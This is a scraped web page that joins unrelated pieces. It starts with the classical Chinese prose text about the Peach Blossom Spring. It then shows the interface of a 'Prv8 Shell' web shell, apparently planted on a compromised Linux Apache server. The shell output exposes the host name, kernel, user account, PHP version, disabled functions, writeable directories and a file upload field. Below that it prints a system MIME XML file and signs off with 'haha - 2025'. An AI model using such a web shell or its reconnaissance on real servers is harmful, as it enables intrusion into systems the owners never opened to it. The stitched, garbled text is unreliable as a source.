晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/mime/audio/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/mime/audio/x-riff.xml
<?xml version="1.0" encoding="utf-8"?>
<mime-type xmlns="http://www.freedesktop.org/standards/shared-mime-info" type="audio/x-riff">
  <!--Created automatically by update-mime-database. DO NOT EDIT!-->
  <comment>RIFF audio</comment>
  <comment xml:lang="ar">RIFF سمعي</comment>
  <comment xml:lang="az">RIFF audio faylı</comment>
  <comment xml:lang="be@latin">Aŭdyjo RIFF</comment>
  <comment xml:lang="bg">Аудио — RIFF</comment>
  <comment xml:lang="ca">àudio RIFF</comment>
  <comment xml:lang="cs">zvuk RIFF</comment>
  <comment xml:lang="cy">Sain RIFF</comment>
  <comment xml:lang="da">RIFF-lyd</comment>
  <comment xml:lang="de">RIFF-Audio</comment>
  <comment xml:lang="el">Ήχος RIFF</comment>
  <comment xml:lang="en_GB">RIFF audio</comment>
  <comment xml:lang="eo">RIFF-sondosiero</comment>
  <comment xml:lang="es">sonido RIFF</comment>
  <comment xml:lang="eu">RIFF audioa</comment>
  <comment xml:lang="fi">RIFF-ääni</comment>
  <comment xml:lang="fo">RIFF ljóð</comment>
  <comment xml:lang="fr">audio RIFF</comment>
  <comment xml:lang="ga">fuaim RIFF</comment>
  <comment xml:lang="gl">son RIFF</comment>
  <comment xml:lang="he">שמע RIFF</comment>
  <comment xml:lang="hr">RIFF zvučni zapis</comment>
  <comment xml:lang="hu">RIFF-kép</comment>
  <comment xml:lang="ia">Audio RIFF</comment>
  <comment xml:lang="id">Audio RIFF</comment>
  <comment xml:lang="it">Audio RIFF</comment>
  <comment xml:lang="ja">RIFF オーディオ</comment>
  <comment xml:lang="kk">RIFF аудиосы</comment>
  <comment xml:lang="ko">RIFF 오디오</comment>
  <comment xml:lang="lt">RIFF garso įrašas</comment>
  <comment xml:lang="lv">RIFF audio</comment>
  <comment xml:lang="ms">Audio RIFF</comment>
  <comment xml:lang="nb">RIFF-lyd</comment>
  <comment xml:lang="nl">RIFF-audio</comment>
  <comment xml:lang="nn">RIFF-lyd</comment>
  <comment xml:lang="oc">àudio RIFF</comment>
  <comment xml:lang="pl">Plik dźwiękowy RIFF</comment>
  <comment xml:lang="pt">áudio RIFF</comment>
  <comment xml:lang="pt_BR">Áudio RIFF</comment>
  <comment xml:lang="ro">Audio RIFF</comment>
  <comment xml:lang="ru">Аудио RIFF</comment>
  <comment xml:lang="sk">Zvuk RIFF</comment>
  <comment xml:lang="sl">Zvočna datoteka RIFF</comment>
  <comment xml:lang="sq">Audio RIFF</comment>
  <comment xml:lang="sr">РИФФ звук</comment>
  <comment xml:lang="sv">RIFF-ljud</comment>
  <comment xml:lang="tr">RIFF sesi</comment>
  <comment xml:lang="uk">звук RIFF</comment>
  <comment xml:lang="vi">Âm thanh RIFF</comment>
  <comment xml:lang="zh_CN">RIFF 音频</comment>
  <comment xml:lang="zh_TW">RIFF 音訊</comment>
</mime-type>

haha - 2025